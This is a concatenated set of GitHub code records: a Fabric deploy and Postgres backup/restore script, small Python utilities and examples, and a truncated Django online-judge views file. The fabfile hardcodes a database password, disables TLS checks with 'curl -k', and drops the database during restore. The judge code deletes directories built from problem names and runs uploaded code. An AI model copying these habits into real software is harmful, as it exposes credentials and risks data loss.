sudo_update_static_files()\n    sudo_update_ngnix_confs()\n    sudo_copy_uwsgi_ini()\n    sudo_put_root_uwsgi_ini()\n    sudo_put_uwsgi_systemd_file()\n    sudo_reboot_all()\n\n\ndef sudo_ensure_uwsgi_nginx_socket_dir():\n    '''\n        latest centos 7 with gnome seems to chew up socket folder on occasion,\n        making sure its there.\n    '''\n    local('sudo mkdir -p /var/run/mfserver2')\n    local('sudo chown -R reg_user:reg_user /var/run/mfserver2')\n\n\ndef sudo_update_ngnix_confs():\n    local('sudo cp conf/nginx/nginx.conf /etc/nginx/')\n    local('sudo cp conf/nginx/mfserver2.conf /etc/nginx/conf.d/')\n\n\ndef sudo_copy_uwsgi_ini():\n    local('sudo cp conf/uwsgi/uwsgi.ini /etc/uwsgi.d/' % env)\n    local('sudo chown reg_user:reg_user /etc/uwsgi.d/uwsgi.ini' % env)\n\n\ndef sudo_put_root_uwsgi_ini():\n    local(\"sudo cp conf/uwsgi/root_uwsgi.ini /etc/uwsgi.ini\")\n\n\ndef sudo_put_uwsgi_systemd_file():\n    local(\"sudo cp conf/uwsgi/uwsgi.service /usr/lib/systemd/system/uwsgi.service\")\n    local(\"sudo systemctl enable uwsgi\")\n    local(\"sudo systemctl daemon-reload\")\n\n\ndef sudo_reboot_all():\n    with warn_only():\n        local('sudo systemctl stop nginx')\n        local('sudo systemctl stop uwsgi')\n    sudo_ensure_uwsgi_nginx_socket_dir()\n    local('sudo systemctl start uwsgi')\n    local('sudo systemctl start nginx')\n\n\ndef create_do_box(do_token=\"\", ssh_key_local_path=\"./../vb_key.pub\",\n                  ssh_key_do_name=\"Victors_vb_public_ssh_key\"):\n    with lcd(\"provisioning/terraform/do\"):\n        command = '''terraform plan -var \"ssh_key_local_path=%s\" -var \"ssh_key_do_name=%s\" -out the_plan''' % (ssh_key_local_path,\n                                                                                                               ssh_key_do_name)\n        if do_token:\n            command += ''' -var \"do_token=%s\"''' % do_token\n        local(command)\n        local('''terraform apply the_plan''')\n        local('''terraform show''')\n\n\ndef create_do_box_and_wait(do_token=\"\",\n                           ssh_key_local_path=\"./../vb_key.pub\",\n                           ssh_key_do_name=\"Victors_vb_public_ssh_key\",\n                           max_wait=720):\n    ''' blocking create_do_box '''\n    create_do_box(do_token, ssh_key_local_path, ssh_key_do_name)\n    with lcd(\"provisioning/terraform/do\"):\n        ip_address = local(\"\"\"terraform output ip\"\"\", capture=True)\n        ip_address = ip_address.strip()\n    output = \"\"\n    timeout = time.time() + max_wait\n    while time.time() < timeout and \"Welcome to meeting finder server 2\" not in output:\n        with warn_only():\n            output = local(\"\"\"curl -k https://%s/mfserver2/welcome/\"\"\" % ip_address, capture=True)\n        if \"Welcome to meeting finder server 2\" not in output:\n            time.sleep(60)\n    if \"Welcome to meeting finder server 2\" not in output:\n        abort(\"Mfserver2 provisioning did not complete in %s seconds\" % max_wait)\n\n\ndef destroy_do_box(do_token):\n    with warn_only():\n        with lcd(\"provisioning/terraform/do\"):\n            local('''terraform destroy -force -var \"do_token=%s\"''' % do_token)\n\n\ndef backup_local_db(output_dir=\"./\"):\n    meetings_file_path = os.path.join(output_dir, \"mfserver2_backup.txt\")\n    schema_file_path = os.path.join(output_dir, \"mfserver2_backup_schema.txt\")\n    data_file_path = os.path.join(output_dir, \"mfserver2_backup_data.txt\")\n    with shell_env(PGPASSWORD='mfserver2'):\n        local(\"\"\"psql -h127.0.0.1 -Umfserver2 -dmfserver2 -c'select id, name, description, address, ST_AsText (geo_location), created_date from django_app_meeting' > %s\"\"\" % meetings_file_path)\n        local(\"\"\"pg_dump -h127.0.0.1 -Umfserver2 --schema=public --schema-only --no-owner --verbose --no-acl --column-inserts --quote-all-identifiers mfserver2 > %s\"\"\" % schema_file_path)\n        local(\"\"\"pg_dump -h127.0.0.1 -Umfserver2 --schema=public --data-only --no-owner --verbose --no-acl --column-inserts --quote-all-identifiers mfserver2 > %s\"\"\" % data_file_path)\n\n\ndef restore_local_db(schema_dump_path=\"mfserver2_backup_schema.dump\",\n                     data_dump_path=\"mfserver2_backup_data.dump\"):\n    with shell_env(PGPASSWORD='mfserver2'):\n        with warn_only():\n            local('''psql -h127.0.0.1 -Umfserver2 -c\"SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname = 'mfserver2';\"''')\n        local(\"\"\"dropdb -h127.0.0.1 -Umfserver2 --if-exists mfserver2\"\"\")\n        local(\"\"\"createdb -h127.0.0.1 -Umfserver2 mfserver2\"\"\")\n        local('''psql -h127.0.0.1 -Umfserver2 mfserver2 -c \"CREATE EXTENSION postgis; CREATE EXTENSION postgis_topology;\"''')\n        local(\"\"\"psql -h127.0.0.1 -Umfserver2 -dmfserver2 mfserver2 < %s\"\"\" % schema_dump_path)\n        local(\"\"\"psql -h127.0.0.1 -Umfserver2 -dmfserver2 mfserver2 < %s\"\"\" % data_dump_path)\n\n\ndef scratchpad():\n    do_something()\n\n\nif __name__ == '__main__':\n    from fabric.main import main\n    sys.argv = ['fab', '-f', __file__,] + sys.argv[1:]\n    main()\n","repo_name":"mcjug2015/mfserver2","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":8633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73066451071","text":"import curses\n\nfrom game.settings import settings\nfrom game.ui.anchor import Anchor\nfrom game.ui.component import Component\nfrom game.utils.colors import Colors\n\n\nclass Busy(Component):\n    \"\"\"\n    A UI component that displays a single message while the client is busy.\n    \"\"\"\n\n    def __init__(self):\n        super().__init__()\n\n        self.message = ''\n\n        self.bottom = 0\n        self.right = 0\n        self.visible = False\n        self.z_index = 999\n\n    def render(self, ctx):\n\n        if not self.visible:\n            return\n\n        win = ctx.subwin(0, 0)\n        win.bkgd(' ', Colors.pair(settings.ui.fg_color, settings.ui.bg_color))\n        win.erase()\n        win.addstr(1, 1, self.message)\n","repo_name":"anthonyjb/ratelimit-client","sub_path":"game/ui/busy.py","file_name":"busy.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"11739686101","text":"from nlp_profiler.granular_features import apply_granular_features\n\nfrom tests.common_functions import assert_benchmark_multiple_features\n\n\ndef test_given_a_text_column_when_profiler_is_applied_with_granular_analysis_then_it_finishes_quick():\n    # benchmarked:\n    # Commit: 8dce2b47f\n    #   (first-time): 24.814494848251343 seconds\n    #   (cached): 14.4172 seconds\n    expected_execution_time = 25\n\n    assert_benchmark_multiple_features(\n        expected_execution_time,\n        apply_granular_features,\n        \"Granular Features\",\n        \"default\",\n        \"apply_granular_features\",\n        \"46646bf\",\n    )\n","repo_name":"neomatrix369/nlp_profiler","sub_path":"slow-tests/performance_tests/test_perf_granular_features.py","file_name":"test_perf_granular_features.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":236,"dataset":"github-code","pt":"60"}
+{"seq_id":"36780446799","text":"__docformat__ = \"reStructuredText\"\nimport os\n\nimport zope.component\nimport zope.interface\nimport zope.schema\nfrom zope.browserpage.viewpagetemplatefile import ViewPageTemplateFile\nfrom zope.pagetemplate.interfaces import IPageTemplate\n\nimport z3c.form\nfrom z3c.form import interfaces\nfrom z3c.form import util\nfrom z3c.form import value\nfrom z3c.form.i18n import MessageFactory as _\n\n\nErrorViewMessage = value.StaticValueCreator(\n    discriminators=('error', 'request', 'widget', 'field', 'form', 'content')\n)\n\nComputedErrorViewMessage = value.ComputedValueCreator(\n    discriminators=('error', 'request', 'widget', 'field', 'form', 'content')\n)\n\n\ndef ErrorViewDiscriminators(\n        errorView,\n        error=None,\n        request=None,\n        widget=None,\n        field=None,\n        form=None,\n        content=None):\n    zope.component.adapter(\n        util.getSpecification(error),\n        util.getSpecification(request),\n        util.getSpecification(widget),\n        util.getSpecification(field),\n        util.getSpecification(form),\n        util.getSpecification(content))(errorView)\n\n\n@zope.interface.implementer(interfaces.IErrorViewSnippet)\nclass ErrorViewSnippet:\n    \"\"\"Error view snippet.\"\"\"\n    zope.component.adapts(\n        zope.schema.ValidationError, None, None, None, None, None)\n\n    def __init__(self, error, request, widget, field, form, content):\n        self.error = self.context = error\n        self.request = request\n        self.widget = widget\n        self.field = field\n        self.form = form\n        self.content = content\n\n    def createMessage(self):\n        return self.error.doc()\n\n    def update(self):\n        value = zope.component.queryMultiAdapter(\n            (self.context, self.request, self.widget,\n             self.field, self.form, self.content),\n            interfaces.IValue, name='message')\n        if value is not None:\n            self.message = value.get()\n        else:\n            self.message = self.createMessage()\n\n    def render(self):\n        template = zope.component.getMultiAdapter(\n            (self, self.request), IPageTemplate)\n        return template(self)\n\n    def __repr__(self):\n        return '<{} for {}>'.format(\n            self.__class__.__name__, self.error.__class__.__name__)\n\n\nclass ValueErrorViewSnippet(ErrorViewSnippet):\n    \"\"\"An error view for ValueError.\"\"\"\n    zope.component.adapts(\n        ValueError, None, None, None, None, None)\n\n    defaultMessage = _('The system could not process the given value.')\n\n    def createMessage(self):\n        return self.defaultMessage\n\n\nclass InvalidErrorViewSnippet(ErrorViewSnippet):\n    \"\"\"Error view snippet.\"\"\"\n    zope.component.adapts(\n        zope.interface.Invalid, None, None, None, None, None)\n\n    def createMessage(self):\n        return self.error.args[0]\n\n\nclass MultipleErrorViewSnippet(ErrorViewSnippet):\n    \"\"\"Error view snippet for multiple errors.\"\"\"\n    zope.component.adapts(\n        interfaces.IMultipleErrors, None, None, None, None, None)\n\n    def update(self):\n        pass\n\n    def render(self):\n        return ''.join([view.render() for view in self.error.errors])\n\n\n@zope.interface.implementer(interfaces.IMultipleErrors)\nclass MultipleErrors(Exception):\n    \"\"\"An error that contains many errors\"\"\"\n\n    def __init__(self, errors):\n        self.errors = errors\n\n\nclass ErrorViewTemplateFactory:\n    \"\"\"Error view template factory.\"\"\"\n\n    template = None\n\n    def __init__(self, filename, contentType='text/html'):\n        self.template = ViewPageTemplateFile(\n            filename, content_type=contentType)\n\n    def __call__(self, errorView, request):\n        return self.template\n\n\n# Create the standard error view template\nStandardErrorViewTemplate = ErrorViewTemplateFactory(\n    os.path.join(os.path.dirname(z3c.form.__file__), 'error.pt'), 'text/html')\nzope.component.adapter(\n    interfaces.IErrorViewSnippet, None)(StandardErrorViewTemplate)\nzope.interface.implementer(IPageTemplate)(StandardErrorViewTemplate)\n","repo_name":"zopefoundation/z3c.form","sub_path":"src/z3c/form/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"37932455433","text":"# Databricks notebook source\ncheckpoint_path = '/tmp/delta-gks/population_data/_checkpoints'\n\n# in the place of gks, use your s3 mount\n# where output goes, delta files in parquet format, _delta_logs/*.json\nwrite_path = '/mnt/gks/delta-gks/population_data'\n\n# Input data\nupload_path = \"/mnt/gks/population\"\n\n# COMMAND ----------\n\n# Set up the stream to begin reading incoming files from the\n# upload_path location.\ndf = spark.readStream.format('cloudFiles') \\\n  .option('cloudFiles.format', 'csv') \\\n  .option('header', 'true') \\\n  .schema('city string, year int, population long') \\\n  .load(upload_path)\n\n# lazy avaluation, will not start stream\n\n# COMMAND ----------\n\n# Start the stream.\n# Use the checkpoint_path location to keep a record of all files that\n# have already been uploaded to the upload_path location.\n# For those that have been uploaded since the last check,\n# write the newly-uploaded files' data to the write_path location.\nquery = df.writeStream.format('delta') \\\n  .option('checkpointLocation', checkpoint_path) \\\n  .start(write_path)\n\n# this starts the query, ACTION on the query\n# this will compile using catalyst and execute the plan tongston on phase 1, phase 2....\n# by default there will be trigger, trigger as soon as the data is available\n\n# COMMAND ----------\n\n# to check the output in the delta location, this is batch not stream\ndf_population = spark.read.format('delta').load(write_path)\n\ndisplay(df_population)\n\n# COMMAND ----------\n\n","repo_name":"nodesense/deloitte-aws-databricks-mar-2022","sub_path":"databricks/004-Auto-Loader-Population.py","file_name":"004-Auto-Loader-Population.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14977448196","text":"class Solution:\n    def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:\n        graph = collections.defaultdict(list)\n        in_degree = collections.defaultdict(int)\n        for u,v in prerequisites:\n            graph[v].append(u)\n            in_degree[u] += 1\n\n        # init queue with indegree 0 nodes\n        queue = collections.deque([ u for u in range(0, numCourses) if u not in in_degree])  # 0 to N, nodes list\n        result = []\n        while(queue):\n            size = len(queue)\n            for _ in range(size):\n                node = queue.popleft()\n                result.append( node )\n                for nei in graph[node]:\n                    in_degree[nei] -= 1\n\n                    if in_degree[nei] == 0:\n                        queue.append( nei )\n        return result if len(result) == numCourses else []\n        ","repo_name":"imjaya/Leetcode_solved","sub_path":"210_course_schedule_2.py","file_name":"210_course_schedule_2.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37638139848","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport xml.etree.ElementTree as ET  # Use cElementTree or lxml if too slow\r\nimport osm_functions as osmf\r\nimport osm_variables as osmv\r\n\r\nSAMPLE_FILE = \"dallas_sample.osm\"\r\n\r\nk = 150 # Parameter: take every k-th top level element\r\n\r\nwith open(SAMPLE_FILE, 'wb') as output:\r\n    output.write('<?xml version=\"1.0\" encoding=\"UTF-8\"?>\\n')\r\n    output.write('<osm>\\n  ')\r\n    # Write every kth top level element\r\n    for i, element in enumerate(osmf.get_element(osmv.OSM_PATH)):\r\n        if i % k == 0:\r\n            output.write(ET.tostring(element, encoding='utf-8'))\r\n    output.write('</osm>')","repo_name":"Acheh/DataWranglingOSM","sub_path":"take_sample.py","file_name":"take_sample.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9375071191","text":"from db import db\r\n\r\n\r\nclass Appointment(db.Model):\r\n    __tablename__ = \"consulta\"\r\n\r\n    id = db.Column(db.Integer, primary_key=True)\r\n    usuario_id = db.Column(db.Integer)\r\n    nome = db.Column(db.String(100))\r\n    descricao = db.Column(db.String(500))\r\n    data = db.Column(db.String(100))\r\n    horario = db.Column(db.String(100))\r\n\r\n    def __init__(\r\n        self,\r\n        usuario_id,\r\n        nome,\r\n        descricao,\r\n        data,\r\n        horario,\r\n    ):\r\n        self.usuario_id = usuario_id\r\n        self.nome = nome\r\n        self.descricao = descricao\r\n        self.data = data\r\n        self.horario = horario\r\n\r\n    def save_to_db(self):\r\n        db.session.add(self)\r\n        db.session.commit()\r\n\r\n    def delete_from_db(self):\r\n        db.session.delete(self)\r\n        db.session.commit()\r\n\r\n    @classmethod\r\n    def find_appointment_by_id(cls, _id):\r\n        return cls.query.filter_by(id=_id).first()\r\n\r\n    @classmethod\r\n    def find_all(cls, usuario_id):\r\n        return cls.query.filter_by(usuario_id=usuario_id).all()\r\n","repo_name":"marjciardullo/caretaker-api","sub_path":"models/appointment.py","file_name":"appointment.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5119052805","text":"from rest_framework import serializers\n\nfrom api.models import Note\n\n\nclass NoteSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Note\n        fields = ('body', 'updated', 'id')\n\n    # def to_representation(self, obj):\n    #     return {\n    #         \"body\": obj.body,\n    #         \"updated\": obj.updated,\n    #         \"id\": obj.id,\n    #     }\n\n    def validate_body(self, value):\n        if len(value) > 6000:\n            raise serializers.ValidationError('This field can only contain max 6000 characters.')\n\n        return value\n","repo_name":"fortyfortyy/MyNotes","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"72439996672","text":"import sys\nans = sys.maxsize\ninput = sys.stdin.readline\n\nn = int(input())\narr = [list(map(int, input().split())) for _ in range(n)]\nvisited = [False] * n\n\ndef func():\n    global ans\n    start, link = 0, 0\n    \n    for i in range(n):\n        for j in range(n):\n            if visited[i] and visited[j]:\n                start += arr[i][j]\n            elif not visited[i] and not visited[j]:\n                link += arr[i][j]\n    ans = min(ans, abs(start - link))\n    return\n\ndef dfs(count):\n    if count == n:\n        func()\n        return\n    visited[count] = True\n    dfs(count+1)\n    visited[count] = False\n    dfs(count+1)\n\ndfs(0)\nprint(ans)","repo_name":"JaeEunSeo/Algorithm-Study","sub_path":"xlooslo/Week 11/15661.py","file_name":"15661.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19428755130","text":"import pytone.midi as midi\nimport pytone.canvas as canvas\nfrom pytone.utils.midi_tester import Tester, TesterOutput\n\n\nclass Arpeggio(midi.Module):\n    TICKS_PER_NOTE_OPTIONS = [1, 4, 8, 12]\n\n    def __init__(self):\n        self.reset()\n\n    def reset(self):\n        \"\"\"Sets the scetch to its initial state\"\"\"\n        self.tick_count = 0\n        self.ticks_per_note_select = 2\n        self.last_played_note = None\n        self.current_note_idx = 0\n        self.notes_active = []\n\n    @property\n    def ticks_per_note(self):\n        return self.TICKS_PER_NOTE_OPTIONS[self.ticks_per_note_select]\n\n    def note(self, event: midi.Note):\n        \"\"\"Processes note events. Adds or removes from arpeggio\"\"\"\n        if event.pressed:\n            self.notes_active.append(event)\n        else:\n            self.notes_active.remove(event)\n\n    def enc(self, inc):\n        \"\"\"Physical rotary encoder events. Changes the arpeggio speed\"\"\"\n        # selects the arpeggio speed and bound checks\n        self.ticks_per_note_select = min(\n            max(self.ticks_per_note_select + inc, 0), len(self.TICKS_PER_NOTE_OPTIONS) - 1\n        )\n\n        # update display graphics\n        self.redraw()\n\n    def tick(self):\n        self.tick_count += 1\n        if self.tick_count < self.ticks_per_note:\n            return\n        self.tick_count = 0\n\n        # stop last played note\n        if self.last_played_note is not None:\n            event = self.last_played_note.copy_with(state=midi.State.NOTE_OFF)\n            self.send(event)\n            self.last_played_note = None\n\n        # play new note\n        if len(self.notes_active) > 0:\n            if self.current_note_idx >= len(self.notes_active):\n                self.current_note_idx = 0\n            event = self.notes_active[self.current_note_idx]\n            self.send(event)\n            self.last_played_note = event\n            self.current_note_idx += 1\n\n    def redraw(self):\n        canvas.write(f\"*ARP:1/{self.ticks_per_note}\")\n\nif __name__ == '__main__':\n    t = Tester(Arpeggio(), bpm=120, out=TesterOutput.MIDI)\n    t.start()\n","repo_name":"ReinBentdal/pytone","sub_path":"examples/arpeggio.py","file_name":"arpeggio.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36773428657","text":"class Programmer:\r\n    company = \"Microsoft\"\r\n    def __init__(self,name,product,age,exper):\r\n        self.name = name\r\n        self.product = product\r\n        self.age = age\r\n        self.exper = exper\r\n    def getinfo(self):\r\n        print(f\"The name of the employee is {self.name}\")\r\n        print(f\"The product of the employee is {self.product}\")\r\n        print(f\"The age of the employee is {self.age}\")\r\n        print(f\"The experience of the employee is {self.exper}\\n\")\r\n\r\nAyan = Programmer(\"Ayan\",\"Twitter\",19,\"5 years\")\r\nAnkita = Programmer(\"Ankita\",\"GitHub\",18,\"6 years\")\r\nAyan.getinfo()\r\nAnkita.getinfo()\r\n","repo_name":"Ayandatasci/Python_Codes","sub_path":"OOPs/oops3.py","file_name":"oops3.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16298039138","text":"from django import template\nfrom django.conf import settings\nfrom sorl.thumbnail import get_thumbnail\n\nregister = template.Library()\n\n\n@register.inclusion_tag('course_image.html')\ndef show_course_thumbnail(course, dimensions):\n    course_image = course.image or None\n    if course_image:\n        course_image = get_thumbnail(course_image, dimensions).url\n\n    return {'course': course,\n            'course_image': course_image,\n            'MEDIA_URL': settings.MEDIA_URL}\n\n@register.inclusion_tag('employer_logo.html')\ndef show_employer_thumbnail(user, employer, dimensions):\n    context = {}\n    context[\"user\"] = user\n    if employer:\n        context['employer'] = employer\n        if employer.logo:\n            context['logo'] = get_thumbnail(employer.logo, dimensions).url\n            context['MEDIA_URL'] = settings.MEDIA_URL\n    return context\n\n@register.inclusion_tag('campus_org_logo.html')\ndef show_campusorg_logo(campusorg):\n\n    return {'campus_org': campusorg,\n            'MEDIA_URL': settings.MEDIA_URL}\n\n@register.inclusion_tag('campus_org_logo.html')\ndef show_campusorg_thumbnail(campusorg, dimensions):\n    logo = campusorg.image or None\n\n    if logo:\n        logo = get_thumbnail(logo, dimensions).url\n\n    return {'campus_org': campusorg,\n            'campus_org_logo': logo,\n            'MEDIA_URL': settings.MEDIA_URL}\n","repo_name":"Dpetters/Umeqo","sub_path":"core/templatetags/logos.py","file_name":"logos.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"45794755320","text":"\"\"\"Wrapper for C-code that does the encoding-decoding.\"\"\"\nimport ctypes\nimport glob\nimport numpy as np\nimport os\n\ncdll = glob.glob(\n    os.path.join(os.path.dirname(os.path.abspath(__file__)), \"decode.*.so\")\n)[0]\ncdll = ctypes.CDLL(cdll)\n\n_c_decode = cdll.decode\n_c_decode.restype = ctypes.c_int\n_c_decode.argtypes = [\n    ctypes.c_char_p,\n    np.ctypeslib.ndpointer(np.float64),\n]\n\n_c_encode = cdll.encode\n_c_encode.restype = ctypes.c_int\n_c_encode.argtypes = [\n    ctypes.c_int,\n    np.ctypeslib.ndpointer(np.float64),\n    ctypes.c_char_p,\n]\n\n\ndef _decode_line(line):\n    \"\"\"\n    Decode a pre-parsed line of an ACQ file.\n\n    This is a very thin wrapper around the C `decode` function which does the same.\n\n    Parameters\n    ----------\n    line : str\n        A string that is uencoded. There should be no spaces at the start or end of the\n        line. This is *not* verified in this function.\n\n    Returns\n    -------\n    np.ndarray :\n        A 1D array of float values given by the de-encoding and unpacking. These are\n        arbitrarily scaled linear powers.\n    \"\"\"\n    out = np.zeros(len(line) // 4)\n    res = _c_decode(ctypes.c_char_p(line.encode(\"ascii\")), np.ascontiguousarray(out))\n\n    if res:\n        raise Exception(\"C decoder exited with an error!\")\n\n    return out\n\n\ndef _encode(data):\n    \"\"\"Encode an array of data.\n\n    This is a low-level function that takes an array of linear-scaled float data and\n    converts it to a string of 64-bit encoded integers. It does *not* perform scaling\n    to match the output of fastspec, but its output should be the inverse of\n    :func:`_decode_line`.\n    \"\"\"\n    out = ctypes.create_string_buffer(len(data) * 4)\n    res = _c_encode(len(data), data, out)\n\n    if res:\n        raise Exception(\"C encoder exited with an error!\")\n\n    return out.raw.decode(\"ascii\")\n\n\ndef _encode_line(data, nblk):\n    \"\"\"Encode an array of data.\n\n    This takes an array of linear-scaled float data and converts it to a string of\n    64-bit encoded integers. It performs scaling to match the output of fastspec, and\n    also blanks out the first 10 entries of data (which are never used in fastspec).\n\n    The output is *not* exactly the inverse of :func:`_decode_line`, but is the same up\n    to a scaling constant, as well as some clipping on dynamic range. Thus, while it is\n    important that this function scales its input (to get the data into the clipping\n    range), it is *not* important to scale the output of `_decode_line`, as it is\n    fully linear, and only the ratio is ever used.\n    \"\"\"\n    # We scale the data to achieve same dynamic range as in fastspec\n    d = data / (2 * nblk * len(data) * 10**3.84)\n\n    # Set first 10 values to 0 because they are never used\n    d[:10] = 0\n\n    return _encode(d)\n","repo_name":"edges-collab/read_acq","sub_path":"src/read_acq/codec.py","file_name":"codec.py","file_ext":"py","file_size_in_byte":2760,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"28422662684","text":"from tempfile import TemporaryDirectory\nimport pytest\nfrom git import Repo\nfrom git_inspector.formatter.report_type_oriented_report_formatter import (\n    format_git_reports,\n)\nfrom git_inspector.reports import ReportType, GIT_REPORT_LEVEL_ALERT, Report, REPORTS\nfrom git_inspector.reports.dirty import get_dirty_report\nfrom tests.testutils import create_repo\n\n\nexample_report = ReportType(\"example\", \"example header\", GIT_REPORT_LEVEL_ALERT)\n\n\n@pytest.fixture\ndef repo():\n    with TemporaryDirectory() as directory:\n        yield create_repo(directory)\n\n\ndef test_output_contains_working_directory():\n    working_dir = \"my_custom_directory\"\n    reports = [Report(working_dir, {}, example_report)]\n    output = format_git_reports(reports, 10)\n    assert working_dir in output\n\n\ndef test_clean_repo_output(repo: Repo):\n    reports = []\n    for f, report_type in REPORTS:\n        report = f(repo)\n        reports.extend(report)\n    output = format_git_reports(reports, 10)\n    assert \"10 git repositories found.\" in output\n\n\ndef test_dirty_repo_output(dirty_repo: Repo):\n    report = get_dirty_report(dirty_repo)\n    assert report is not None\n    output = format_git_reports([report], 10)\n    assert dirty_repo.working_dir in output\n\n\ndef test_no_report():\n    output = format_git_reports([], 10)\n    assert len(output.splitlines()) == 1\n","repo_name":"yaniksoeltzer/git_inspector","sub_path":"tests/cli/test_report_formatter.py","file_name":"test_report_formatter.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"12673223698","text":"import json\nimport os\nimport shutil\nfrom subprocess import call\n\nfrom django.utils import timezone\nfrom django.conf import settings\nfrom django.contrib.auth import logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseNotFound, HttpResponse, JsonResponse\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom . import onlineshellmanager\nfrom .forms import ProblemForm, SubmitForm\nfrom .judge_server.config import Config\nfrom .models import Problem, SubmitRecord, SubmitResult, SubmitTry\nfrom django.contrib.auth.models import User\nfrom .judge_server import judgeServer\nfrom bs4 import BeautifulSoup\n\n\n# Create your views here.\n\ndef fileCount(folder):\n    \"count the number of files in a directory\"\n\n    count = 0\n\n    for filename in os.listdir(folder):\n        path = os.path.join(folder, filename)\n\n        if os.path.isfile(path):\n            count += 1\n        elif os.path.isdir(path):\n            count += fileCount(path)\n\n    return count\n\ndef web_logout(req):\n    logout(req)\n    return redirect('/')\n\n\n@login_required\ndef problem_list(req):\n    problems = Problem.objects.all()\n    now = timezone.now()\n    for problem in problems:\n        if problem.p_day_limit < now:\n            problem.p_day_not_over = False\n        #    for e in problems:\n        #        print(e.p_day_limit, e.p_content,e.p_c_ok)\n    return render(req,\n                  'AMS/problem_list.html',\n                  {'problems': problems, 'user': req.user})\n\n\n@login_required\ndef problem_read(req, problem_number):\n    if req.method == 'DELETE':\n        print(\"delete\")\n        problem_to_delete = Problem.objects.get(pk=problem_number)\n        print(problem_to_delete)\n        if problem_to_delete is not None:\n            folder = os.path.join(settings.MEDIA_ROOT, str(problem_to_delete))\n            problem_to_delete.delete()\n            shutil.rmtree(folder)\n            return HttpResponse()\n        return HttpResponseNotFound()\n\n    else:\n        problem = get_object_or_404(Problem, pk=problem_number)\n\n        return render(req, 'AMS/Read.html', {'problem': problem, 'p_number': problem_number, 'user': req.user})\n\n\n@login_required\ndef problem_update(req, problem_number):\n    problem = Problem.objects.get(pk=problem_number)\n\n    if req.method == 'POST':\n        # prev_folder_name = os.path.join(settings.MEDIA_ROOT, problem.p_name)\n        # next_folder_name = os.path.join(settings.MEDIA_ROOT, req.POST['p_name'])\n        form = ProblemForm(req.POST, req.FILES, instance=problem)\n        if form.is_valid():\n            # shutil.move(prev_folder_name, next_folder_name)\n            form.save()\n            save_flagContent(req.POST)\n            return redirect('/problem/list')\n    else:\n        form = ProblemForm(instance=problem)\n    return render(req, 'AMS/problem_add.html', {'form': form, 'update': 0, 'p_number': problem_number})\n\n\n@login_required\ndef problem_add(req):\n    if req.method == 'POST':\n        print(req.FILES)\n        form = ProblemForm(req.POST, req.FILES)\n        if form.is_valid():\n            problem_id = form.save()\n            users = User.objects.all()\n            for user in users:\n                temp = SubmitTry.objects.create(userpk=user.pk, problempk=problem_id.pk)\n            save_flagContent(req.POST)\n            return redirect('/problem/list')\n    else:\n        form = ProblemForm()\n    return render(req, 'AMS/problem_add.html', {'form': form, 'update': 1, 'p_number': -1})\n\n\ndef save_flagContent(req):\n    json_path = os.path.join(settings.MEDIA_ROOT, req['p_name'], 'flag.json')\n    if not os.path.exists(os.path.dirname(json_path)):\n        os.makedirs(os.path.dirname(json_path))\n    with open(json_path, \"w\") as file:\n        json.dump(\n            {\n                'flagContent': req['p_flagContent']\n            },\n            file, ensure_ascii=False)\n\n\n@login_required\ndef answer_submit(req, problem_number):\n    problem = Problem.objects.get(pk=problem_number)\n    if req.method == 'POST':\n        form = SubmitForm(req.user, problem_number, req.POST, req.FILES)\n        print(form.errors)\n        if form.is_valid():\n            instance = form.save()\n            save_metadata(instance)\n            outputfiles = os.path.join(settings.MEDIA_ROOT, instance.problem.p_name, 'outputfile')\n            media_path = os.path.join(settings.MEDIA_ROOT, instance.problem.p_name,\n                                      'submit', str(req.user), str(instance.pk), 'code')\n            inputfiles = os.path.join(settings.MEDIA_ROOT, instance.problem.p_name, 'inputfile')\n            files = fileCount(inputfiles)\n            print(files)\n            judgeServer.start_judge(media_path, inputfiles, outputfiles, int(instance.problem.p_time_limit)*files)\n            # result store to database\n            test_path = os.path.join(settings.MEDIA_ROOT, instance.problem.p_name,\n                                     'submit', str(req.user), str(instance.pk), 'result.json')\n            f = open(test_path, 'r')\n            result = json.load(f)\n            #    with open(test_path,\"r\") as file:\n            #        test = json.load(file) # after fix this, 